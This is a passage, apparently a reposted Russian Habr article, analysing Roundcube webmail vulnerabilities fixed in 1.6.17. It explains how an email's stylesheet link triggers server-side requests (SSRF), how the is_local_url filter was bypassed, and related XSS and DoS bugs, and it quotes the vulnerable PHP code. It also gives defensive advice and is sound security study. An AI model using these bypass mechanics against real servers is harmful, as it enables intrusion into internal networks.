\u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0441\u044f \u0431\u0435\u0437 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.<\/p>\n<\/li>\n<li>\n<p>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 \u0441\u043c\u0435\u043d\u044b \u043f\u0430\u0440\u043e\u043b\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432 \u0441\u0435\u0441\u0441\u0438\u044e \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/li>\n<li>\n<p>\u0415\u0449\u0451 \u0434\u0432\u0430 \u043e\u0431\u0445\u043e\u0434\u0430 SSRF \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u043e\u043c\u0438\u043c\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e sslip.io.<\/p>\n<\/li>\n<li>\n<p>\u0414\u0432\u0430 \u043e\u0442\u043a\u0430\u0437\u0430 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0435\u043a\u043e\u0434\u0435\u0440\u0435 TNEF (\u044d\u0442\u043e \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 winmail.dat \u043e\u0442 Outlook): \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0438 \u043e\u0431\u0432\u0430\u043b \u0447\u0435\u0440\u0435\u0437 \u0445\u0438\u0442\u0440\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0432 compressed-RTF.<\/p>\n<\/li>\n<\/ul>\n<p>\u0420\u0430\u0437\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438, \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u0431\u0430\u0433\u043e\u0432, \u0430 \u043a\u043e\u0440\u0435\u043d\u044c \u043e\u0434\u0438\u043d. \u041a\u043b\u0438\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043f\u0438\u0441\u044c\u043c\u0430: \u0442\u0435\u043a\u0441\u0442, \u0441\u0442\u0438\u043b\u0438, \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 Microsoft. \u041a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440\u0449\u0438\u043a \u044d\u0442\u043e \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u0447\u0443\u0436\u043e\u043c\u0443 \u0432\u0432\u043e\u0434\u0443. \u0427\u0435\u043c \u0431\u043e\u0433\u0430\u0447\u0435 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442, \u0442\u0435\u043c \u0431\u043e\u043b\u044c\u0448\u0435 \u0432 \u043d\u0451\u043c \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u0447\u0443\u0436\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u0430\u0434 \u043d\u0438\u043c \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u043b\u0430\u0441\u0442\u0438, \u0447\u0435\u043c \u0432\u044b \u043e\u0436\u0438\u0434\u0430\u043b\u0438. \u0421\u0442\u0438\u043b\u0438 \u0434\u0430\u043b\u0438 SSRF, \u043b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a \u0434\u0430\u043b XSS, \u0434\u0435\u043a\u043e\u0434\u0435\u0440 TNEF \u0434\u0430\u043b DoS.<\/p>\n<h3>\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f Roundcube, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0435\u0433\u043e\u0434\u043d\u044f<\/h3>\n<ol>\n<li>\n<p>\u0412\u0435\u0440\u0441\u0438\u044f. 1.6.17 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435 (\u0434\u043b\u044f \u0432\u0435\u0442\u043a\u0438 1.7 \u044d\u0442\u043e 1.7.2). \u0412\u0441\u0435 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0442\u0430\u043c.<\/p>\n<\/li>\n<li>\n<p>\u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442. \u0414\u0435\u0440\u0436\u0438\u0442\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u042d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0441\u0442\u044c, \u044d\u0442\u043e \u0435\u0449\u0451 \u0438 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435 \u0434\u0430\u0451\u0442 SSRF \u0432\u044b\u0441\u0442\u0440\u0435\u043b\u0438\u0442\u044c \u0431\u0435\u0437 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/li>\n<li>\n<p>\u0421\u0435\u0442\u0435\u0432\u0430\u044f \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044f. \u041f\u043e\u0447\u0442\u043e\u0432\u043e\u043c\u0443 \u0444\u0440\u043e\u043d\u0442\u0435\u043d\u0434\u0443 \u043d\u0435\u0447\u0435\u0433\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u043e\u0434\u043d\u043e\u0439 \u043f\u043b\u043e\u0441\u043a\u043e\u0439 \u0441\u0435\u0442\u0438 \u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 \u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c metadata-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u043e\u043c. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441\u0430\u043c\u043e\u0433\u043e \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043b\u0430\u0433\u0438\u043d\u044b. \u0415\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 \u043f\u043b\u0430\u0433\u0438\u043d \u0441\u043c\u0435\u043d\u044b \u043f\u0430\u0440\u043e\u043b\u044f, \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0442\u0430\u043c \u0441\u0432\u043e\u044f \u043f\u043e\u0440\u0446\u0438\u044f \u0434\u044b\u0440.<\/p>\n<\/li>\n<li>\n<p>\u041c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433. \u0418\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432\u0430\u0448\u0435\u0433\u043e \u0432\u0435\u0431\u043c\u0435\u0439\u043b\u0430 \u043d\u0430 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u044d\u0442\u043e \u0441\u0438\u0433\u043d\u0430\u043b. \u041d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 SSRF \u0432\u0438\u0434\u0435\u043d \u043a\u0430\u043a \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 IP \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u043e\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d.<\/p>\n<\/li>\n<\/ol>\n<h3>\u0427\u0442\u043e \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u043e\u0433\u043e<\/h3>\n<p>\u041e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u0447\u043a\u0430 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0438, \u0433\u0434\u0435 \u0437\u0430\u0431\u044b\u043b\u0438 \u043f\u0440\u043e \u0432\u0442\u043e\u0440\u043e\u0439 DNS-\u0441\u0435\u0440\u0432\u0438\u0441, \u0438 \u043f\u0438\u0441\u044c\u043c\u043e \u0433\u043e\u043d\u044f\u0435\u0442 \u0432\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438. \u0414\u0440\u0443\u0433\u0430\u044f \u0441\u0442\u0440\u043e\u0447\u043a\u0430, \u0433\u0434\u0435 \u043d\u0435\u0434\u043e\u0441\u0443\u0437\u0438\u043b\u0438 \u043d\u0430\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0446\u0435\u043f\u043b\u044f\u0435\u0442 XSS. \u0414\u0435\u043b\u043e \u043d\u0435 \u0432 Roundcube. \u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043b\u044e\u0431\u043e\u0439 \u0441\u043e\u0444\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 \u043f\u0440\u0438\u0441\u043b\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u043c \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u044d\u0442\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0443, \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0442\u0443\u0442 \u044d\u0442\u043e \u0434\u043b\u0438\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043e\u0442\u043e\u0437\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u041c\u0435\u0436\u0434\u0443 \u0443\u0434\u043e\u0431\u043d\u043e\u0439 \u0444\u0438\u0447\u0435\u0439 \u0438 \u0434\u044b\u0440\u043e\u0439 \u0438\u043d\u043e\u0433\u0434\u0430 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0435. \u0417\u0434\u0435\u0441\u044c \u0438\u0445 \u043d\u0430\u0431\u0440\u0430\u043b\u043e\u0441\u044c \u043d\u0430 \u0446\u0435\u043b\u044b\u0439 \u0440\u0435\u043b\u0438\u0437.<\/p>\n<hr\/>\n<p><em>\u0421\u0442\u0435\u043d\u0434 \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u043b\u0441\u044f \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u0432\u0441\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u044f\u0449\u0438\u043a\u0438 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435. \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.<\/em><\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1061638\/\">https:\/\/habr.com\/ru\/articles\/1061638\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0412\u044b \u043e\u0442\u043a\u0440\u044b\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u043e. \u041f\u043e\u043a\u0430 \u0432\u044b \u0435\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u0442\u0435, \u0432\u0430\u0448 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430 \u0443\u0436\u0435 \u0441\u0442\u0443\u0447\u0438\u0442\u0441\u044f \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b \u0435\u043c\u0443 \u043d\u0435 \u0434\u0430\u0432\u0430\u043b\u0438. \u041d\u0435 \u0432\u044b\u0434\u0443\u043c\u043a\u0430, \u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b \u044d\u0442\u043e \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 \u0438 \u043f\u043e\u0439\u043c\u0430\u043b \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043b\u043e\u0433\u0435.\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u044d\u0442\u043e \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435. \u041a\u043b\u0438\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 MIME, \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 \u0442\u0435\u043a\u0441\u0442 \u0432 HTML, \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0442\u0438\u043b\u0438, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043b\u0438\u043d\u043a\u0443\u0435\u0442 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438. \u041a\u0430\u0436\u0434\u044b\u0439 \u0442\u0430\u043a\u043e\u0439 \u0448\u0430\u0433 \u044d\u0442\u043e \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0434 \u0434\u0430\u043d\u043d\u044b\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u0441\u043b\u0430\u043b \u0447\u0443\u0436\u043e\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a. \u0418 \u0435\u0441\u043b\u0438 \u0445\u043e\u0442\u044c \u043e\u0434\u0438\u043d \u0448\u0430\u0433 \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u044d\u0442\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0441\u0442\u043e\u0438\u043b\u043e, \u043f\u0438\u0441\u044c\u043c\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e, \u0447\u0435\u0433\u043e \u0432\u044b \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u043b\u0438.\u0412 \u0438\u044e\u043b\u0435 2026 Roundcube \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u0440\u0435\u043b\u0438\u0437 1.6.17, \u0438 \u044d\u0442\u043e \u043d\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0430, \u0430 \u0446\u0435\u043b\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a. \u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0430\u043c \u0441 \u0432\u044b\u0441\u0448\u0438\u043c \u0431\u0430\u043b\u043b\u043e\u043c: NIST \u0434\u0430\u043b \u043e\u0431\u0435\u0438\u043c 10.0 \u0438\u0437 10, MITRE \u043f\u043e SSRF \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u0435\u0435 \u0438 \u0441\u0442\u0430\u0432\u0438\u0442 7.2. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0438\u0441\u044c\u043c\u0443 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0430\u0448 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0430\u043c\u043e\u043c\u0443 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u0441\u0435\u0442\u044c. \u042f \u043f\u043e\u0434\u043d\u044f\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043d\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u0438 \u043f\u0440\u043e\u0448\u0451\u043b \u0430\u0442\u0430\u043a\u0443 \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0434\u043e \u043b\u043e\u0433\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043b\u043e\u0432\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u043e\u0434\u043d\u043e \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u043e\u043a\u0430\u0436\u0443, \u0433\u0434\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u0432\u0442\u043e\u0440\u0443\u044e 10.0 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435\u043b\u044c\u0437\u044f.\u0421\u0440\u0430\u0437\u0443 \u043e\u0433\u043e\u0432\u043e\u0440\u044e\u0441\u044c: Roundcube \u044f \u043d\u0435 \u0433\u043e\u043d\u044f\u044e \u0432 \u043f\u0440\u043e\u0434\u0435 \u0438 \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0435 \u043f\u0440\u043e \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u043f\u043b\u043e\u0445\u043e\u0439. \u042f \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0441\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0438 \u043c\u0435\u043d\u044f \u0446\u0435\u043f\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u0441\u044e\u0436\u0435\u0442. \u0421\u043e\u0444\u0442 \u0443\u043c\u0435\u0435\u0442 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u044c \u0447\u0443\u0436\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0443 \u043d\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0440\u043e\u0432\u043d\u043e \u0442\u0430\u043c, \u0433\u0434\u0435 \u043e\u043d \u0441\u0442\u0430\u0440\u0430\u0435\u0442\u0441\u044f \u0431\u044b\u0442\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u043c. Roundcube \u0442\u0443\u0442 \u043e\u0442\u043b\u0438\u0447\u043d\u0430\u044f \u0438\u043b\u043b\u044e\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u044b\u0440\u044b \u0441\u0438\u0434\u044f\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u0444\u0438\u0447\u0430\u0445: \u0432 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0442\u0438\u043b\u0435\u0439, \u0432 \u043b\u0438\u043d\u043a\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\u041a\u0430\u043a \u043f\u0438\u0441\u044c\u043c\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438: CVE-2026-62643 (CVSS 10.0)\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0439, \u0447\u0442\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b \u0432\u0436\u0438\u0432\u0443\u044e.\u041a\u043e\u0433\u0434\u0430 Roundcube \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 HTML-\u043f\u0438\u0441\u044c\u043c\u043e, \u043e\u043d \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u0442 \u0441\u0442\u0438\u043b\u0438 \u043a\u0430\u043a \u0435\u0441\u0442\u044c. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0442\u0438\u043b\u0438 \u043e\u043d \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0442\u044f\u043d\u0435\u0442 \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043f\u0440\u043e\u0433\u043e\u043d\u044f\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0430\u043d\u0438\u0442\u0430\u0439\u0437\u0435\u0440 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c \u043e\u0442\u0434\u0430\u0451\u0442 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440. \u041b\u043e\u0433\u0438\u043a\u0430 \u0437\u0434\u0440\u0430\u0432\u0430\u044f: \u043f\u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c CSS \u043e\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u044f\u043d\u0435\u0442 \u0438\u0445 \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440.\u0412\u043e\u0442 \u043c\u0435\u0441\u0442\u043e \u0432 \u043a\u043e\u0434\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 (program\/actions\/mail\/index.php):if ($tag == &#8216;link&#8217; &amp;&amp; preg_match(&#8216;\/^https?:\\\/\\\/\/i&#8217;, $attrib[&#8216;href&#8217;])    &amp;&amp; !rcube_utils::is_local_url($attrib[&#8216;href&#8217;])) {    \/\/ \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0441\u0442\u0438\u043b\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a modcss,    \/\/ \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u0421\u0410\u041c \u0438 \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0447\u0438\u0449\u0435\u043d\u043d\u044b\u0439 CSS    $_SESSION[&#8216;modcssurls&#8217;][$tempurl] = $attrib[&#8216;href&#8217;];    &#8230;}\u0422\u043e \u0435\u0441\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u0441 &lt;link rel=&#187;stylesheet&#187; href=&#187;&#8230;&#187;&gt; \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439, \u043a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u043d\u0430 \u043f\u0443\u0442\u0438 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 is_local_url. \u0412\u0441\u044f \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 SSRF \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0439. \u0421\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043e\u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0432 1.6.16.public static function is_local_url($url){    $host = parse_url($url, \\PHP_URL_HOST);    &#8230;    $host = preg_replace(&#8216;\/^::ffff:\/i&#8217;, &#187;, $host);    if (preg_match(&#8216;\/([0-9a-f.-]+)\\.nip\\.io$\/i&#8217;, $host, $matches)) {        $host = trim($matches[1], &#8216;-.&#8217;);    }    if ($address = Factory::parseAddressString($host, $options)) {        $nets = [            &#8216;0.0.0.0&#8217;, &#8216;127.0.0.0\/8&#8217;, &#8216;10.0.0.0\/8&#8217;, 